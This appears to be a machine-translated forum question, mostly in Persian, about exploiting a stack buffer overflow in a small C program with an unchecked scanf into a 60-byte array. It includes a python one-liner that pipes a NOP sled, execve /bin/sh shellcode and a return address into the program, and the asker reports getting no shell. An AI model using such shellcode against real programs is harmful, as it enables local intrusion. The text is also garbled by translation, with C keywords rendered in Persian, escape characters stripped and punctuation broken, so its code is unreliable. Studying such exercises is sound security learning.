#include
void secret ()
{
printf ("تبریک! n")؛
}
void echo ()
{
array char [60]؛
اسکن ("٪ s"، آرایه)؛
printf ("شما وارد:٪ s n"، آرایه)؛
}
int main ()
{
echo ()؛
بازگشت 0؛
}
بالا کدی است که من سعی می کنم از آن استفاده کنم.
آدرس آدرس ebp را با استفاده از gdb یافتم، اگر چه می دانم دشوار است که به مکان دقیق اشاره شود. من استفاده از روش NOP سورتمه
اندازه بافر اختصاص داده شده – 0x44 – 68bytes
کد پوسته – 25 بایت
python -c چاپ ' x90 "* 47 + x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x89 xe2 x53 x89 xe1 xb0 x0b xcd x80 "+" xa8 xbb xff xff "'| ./test
من سعی می کنم به جایی از وسط NOP sled بروید.
و دریافت تقصیر تقسیم نیست، اما من دسترسی به پوسته را دریافت نمی